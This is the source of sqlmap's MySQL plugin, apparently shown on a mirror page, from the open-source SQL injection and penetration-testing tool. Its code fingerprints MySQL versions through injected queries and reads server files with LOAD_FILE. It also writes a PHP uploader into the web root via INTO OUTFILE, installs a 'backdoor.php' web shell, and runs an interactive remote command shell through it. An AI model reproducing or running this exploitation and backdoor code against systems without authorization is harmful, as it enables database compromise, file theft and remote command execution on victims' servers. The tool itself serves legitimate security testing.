mirror of
https://github.com/sqlmapproject/sqlmap.git
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c32ef9d751
of them is not reachable. Minor bug fix to make the --postfix work even if --prefix is not provided.
532 lines
19 KiB
Python
532 lines
19 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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and Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import re
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from lib.core.agent import agent
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from lib.core.common import fileToStr
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getDirectories
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import randomInt
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from lib.core.common import readInput
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.exception import sqlmapSyntaxException
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from lib.core.session import setDbms
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from lib.core.settings import MYSQL_ALIASES
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from lib.core.settings import MYSQL_SYSTEM_DBS
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from lib.core.shell import autoCompletion
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from lib.core.unescaper import unescaper
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from plugins.generic.enumeration import Enumeration
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from plugins.generic.filesystem import Filesystem
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from plugins.generic.fingerprint import Fingerprint
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from plugins.generic.takeover import Takeover
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class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
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"""
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This class defines MySQL methods
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"""
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def __init__(self):
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self.excludeDbsList = MYSQL_SYSTEM_DBS
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Enumeration.__init__(self, "MySQL")
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unescaper.setUnescape(MySQLMap.unescape)
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@staticmethod
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def unescape(expression, quote=True):
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if quote:
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while True:
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index = expression.find("'")
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if index == -1:
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break
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firstIndex = index + 1
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index = expression[firstIndex:].find("'")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
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lastIndex = firstIndex + index
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old = "'%s'" % expression[firstIndex:lastIndex]
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unescaped = ""
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for i in range(firstIndex, lastIndex):
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unescaped += "%d" % (ord(expression[i]))
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if i < lastIndex - 1:
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unescaped += ","
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expression = expression.replace(old, "CHAR(%s)" % unescaped)
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else:
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unescaped = "CHAR("
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unescaped += ",".join("%d" % ord(c) for c in expression)
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unescaped += ")"
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expression = unescaped
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return expression
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@staticmethod
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def escape(expression):
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while True:
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index = expression.find("CHAR(")
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if index == -1:
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break
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firstIndex = index
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index = expression[firstIndex:].find(")")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
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lastIndex = firstIndex + index + 1
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old = expression[firstIndex:lastIndex]
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oldUpper = old.upper()
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oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
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oldUpper = oldUpper.split(",")
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escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
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expression = expression.replace(old, escaped)
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return expression
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def __commentCheck(self):
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logMsg = "executing MySQL comment injection fingerprint"
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logger.info(logMsg)
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query = agent.prefixQuery(" /* NoValue */")
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query = agent.postfixQuery(query)
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if result != kb.defaultResult:
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warnMsg = "unable to perform MySQL comment injection"
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logger.warn(warnMsg)
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return None
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# MySQL valid versions updated at 10/2008
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versions = (
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(32200, 32233), # MySQL 3.22
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(32300, 32359), # MySQL 3.23
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(40000, 40031), # MySQL 4.0
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(40100, 40125), # MySQL 4.1
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(50000, 50074), # MySQL 5.0
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(50100, 50131), # MySQL 5.1
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(60000, 60009), # MySQL 6.0
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)
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for element in versions:
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prevVer = None
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for version in range(element[0], element[1] + 1):
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randInt = randomInt()
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version = str(version)
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query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
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query = agent.postfixQuery(query)
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if result == kb.defaultResult:
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if not prevVer:
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prevVer = version
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if version[0] == "3":
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midVer = prevVer[1:3]
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else:
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midVer = prevVer[2]
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trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
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return trueVer
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prevVer = version
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return None
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if self.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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actVer = formatDBMSfp()
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if not conf.extensiveFp:
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value += actVer
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return value
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comVer = self.__commentCheck()
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if comVer:
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comVer = formatDBMSfp([comVer])
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value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
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if kb.bannerFp:
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# TODO: move to the XML banner file
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banVer = kb.bannerFp["dbmsVersion"]
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if re.search("-log$", self.banner):
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banVer += ", logging enabled"
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banVer = formatDBMSfp([banVer])
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def checkDbms(self):
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"""
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References for fingerprint:
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* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html
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* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html
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* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html
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"""
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if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
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setDbms("MySQL %s" % kb.dbmsVersion[0])
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if int(kb.dbmsVersion[0]) >= 5:
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self.has_information_schema = True
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self.getPrematureBanner("VERSION()")
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if not conf.extensiveFp:
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return True
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logMsg = "testing MySQL"
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logger.info(logMsg)
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randInt = str(randomInt(1))
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query = "CONCAT('%s', '%s')" % (randInt, randInt)
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if inject.getValue(query) == (randInt * 2):
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logMsg = "confirming MySQL"
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logger.info(logMsg)
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query = "LENGTH('%s')" % randInt
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if not inject.getValue(query) == "1":
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warnMsg = "the back-end DMBS is not MySQL"
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logger.warn(warnMsg)
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return False
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# Determine if it is MySQL >= 5.0.0
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if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt) == randInt:
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setDbms("MySQL 5")
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self.has_information_schema = True
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self.getPrematureBanner("VERSION()")
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if not conf.extensiveFp:
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kb.dbmsVersion = [">= 5.0.0"]
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return True
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# Check if it is MySQL >= 6.0.3
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if inject.getValue("SELECT %s FROM information_schema.PARAMETERS LIMIT 0, 1" % randInt) == randInt:
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if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
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kb.dbmsVersion = [">= 6.0.5"]
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else:
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kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
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# Or if it MySQL >= 5.1.2 and < 6.0.3
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elif inject.getValue("MID(@@plugin_dir, 1, 1)"):
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if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
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kb.dbmsVersion = [">= 5.1.28", "< 6.0.3"]
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elif inject.getValue("MID(@@innodb_stats_on_metadata, 1, 1)"):
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kb.dbmsVersion = [">= 5.1.17", "< 5.1.28"]
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elif inject.getValue("SELECT %s FROM information_schema.REFERENTIAL_CONSTRAINTS LIMIT 0, 1" % randInt) == randInt:
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kb.dbmsVersion = [">= 5.1.10", "< 5.1.17"]
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elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
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kb.dbmsVersion = [">= 5.1.7", "< 5.1.10"]
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elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt:
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kb.dbmsVersion = ["= 5.1.6"]
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elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt:
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kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
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elif inject.getValue("MID(@@table_open_cache, 1, 1)"):
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kb.dbmsVersion = [">= 5.1.3", "< 5.1.5"]
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else:
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kb.dbmsVersion = ["= 5.1.2"]
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# Or if it is MySQL >= 5.0.0 and < 5.1.2
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elif inject.getValue("MID(@@hostname, 1, 1)"):
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kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
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elif inject.getValue("SELECT 1 FROM DUAL") == "1":
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kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
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elif inject.getValue("DATABASE() LIKE SCHEMA()"):
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kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
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else:
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kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
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# Otherwise assume it is MySQL < 5.0.0
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else:
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setDbms("MySQL 4")
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kb.dbmsVersion = ["< 5.0.0"]
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self.getPrematureBanner("VERSION()")
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if not conf.extensiveFp:
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return True
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# Check which version of MySQL < 5.0.0 it is
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coercibility = inject.getValue("COERCIBILITY(USER())")
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if coercibility == "3":
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kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
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elif coercibility == "2":
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kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
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elif inject.getValue("CURRENT_USER()"):
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kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
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if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
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kb.dbmsVersion = ["= 4.1.0"]
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else:
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kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
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elif inject.getValue("FOUND_ROWS()") == "0":
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kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
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elif inject.getValue("CONNECTION_ID()"):
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kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
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elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
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kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
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else:
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kb.dbmsVersion = ["< 3.22.11"]
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return True
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else:
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warnMsg = "the back-end DMBS is not MySQL"
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logger.warn(warnMsg)
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return False
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def readFile(self, rFile):
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logMsg = "fetching file: '%s'" % rFile
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logger.info(logMsg)
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return inject.getValue("LOAD_FILE('%s')" % rFile)
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def osShell(self):
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"""
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This method is used to write a PHP agent (cmd.php) on a writable
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remote directory within the web server document root.
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Such agent is written using the INTO OUTFILE MySQL DBMS
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functionality
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@todo: * Add a web application crawling functionality to detect
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all (at least most) web server directories and merge with
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Google results if the target host is a publicly available
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hostname or IP address;
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* Extend to all DBMS using their functionalities (UDF, stored
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procedures, etc) to write files on the system or directly
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execute commands on the system without passing by the agent;
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* Automatically detect the web server available interpreters
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parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP
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response headers;
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* Extend the agent to other interpreters rather than only PHP:
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ASP, JSP, CGI (Python, Perl, Ruby, Bash).
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"""
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logMsg = "retrieving web application directories"
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logger.info(logMsg)
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directories = getDirectories()
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if directories:
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logMsg = "retrieved web server directories "
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logMsg += "'%s'" % ", ".join(d for d in directories)
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logger.info(logMsg)
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message = "in addition you can provide a list of directories "
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message += "absolute path comma separated that you want sqlmap "
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message += "to try to upload the agent [/var/www/test]: "
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inputDirs = readInput(message, default="/var/www/test")
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else:
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message = "please provide the web server document root [/var/www]: "
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inputDocRoot = readInput(message, default="/var/www")
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if inputDocRoot:
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kb.docRoot = inputDocRoot
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else:
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kb.docRoot = "/var/www"
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message = "please provide a list of directories absolute path "
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message += "comma separated that you want sqlmap to try to "
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message += "upload the agent [/var/www/test]: "
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inputDirs = readInput(message, default="/var/www/test")
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if inputDirs:
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inputDirs = inputDirs.replace(", ", ",")
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inputDirs = inputDirs.split(",")
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for inputDir in inputDirs:
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directories.add(inputDir)
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else:
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directories.add("/var/www/test")
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logMsg = "trying to upload the uploader agent"
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logger.info(logMsg)
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directories = list(directories)
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directories.sort()
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uploaded = False
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backdoorName = "backdoor.php"
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backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
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uploaderName = "uploader.php"
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uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
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for directory in directories:
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if uploaded:
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break
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# Upload the uploader agent
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uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
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query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
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query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
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query = agent.prefixQuery(" %s" % query)
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query = agent.postfixQuery(query)
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payload = agent.payload(newValue=query)
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page = Request.queryPage(payload)
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if kb.docRoot:
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requestDir = directory.replace(kb.docRoot, "")
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else:
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requestDir = directory
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baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
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uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
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page, _ = Request.getPage(url=uploaderUrl, direct=True)
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if "sqlmap backdoor uploader" not in page:
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warnMsg = "unable to upload the uploader "
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warnMsg += "agent on '%s'" % directory
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logger.warn(warnMsg)
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continue
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logMsg = "the uploader agent has been successfully uploaded "
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logMsg += "on '%s'" % directory
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logger.info(logMsg)
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# Upload the backdoor through the uploader agent
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multipartParams = {
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"upload": "1",
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"file": open(backdoorPath, "r"),
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"uploadDir": directory,
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}
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uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
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page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
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if "Backdoor uploaded" not in page:
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warnMsg = "unable to upload the backdoor through "
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warnMsg += "the uploader agent on '%s'" % directory
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logger.warn(warnMsg)
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continue
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uploaded = True
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backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
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logMsg = "the backdoor has been successfully uploaded on "
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logMsg += "'%s', go with your browser to " % directory
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logMsg += "'%s' and enjoy it!" % backdoorUrl
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logger.info(logMsg)
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message = "do you want to use the uploaded backdoor as a "
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message += "shell to execute commands right now? [Y/n] "
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shell = readInput(message, default="Y")
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if shell in ("n", "N"):
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continue
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logMsg = "calling OS shell. To quit type "
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logMsg += "'x' or 'q' and press ENTER"
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logger.info(logMsg)
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autoCompletion(osShell=True)
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while True:
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command = None
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try:
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command = raw_input("$ ")
|
|
except KeyboardInterrupt:
|
|
print
|
|
errMsg = "user aborted"
|
|
logger.error(errMsg)
|
|
except EOFError:
|
|
print
|
|
errMsg = "exit"
|
|
logger.error(errMsg)
|
|
break
|
|
|
|
if not command:
|
|
continue
|
|
|
|
if command.lower() in ( "x", "q", "exit", "quit" ):
|
|
break
|
|
|
|
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
|
|
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
|
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
|
|
|
if output:
|
|
print output.group(1)
|
|
else:
|
|
print "No output"
|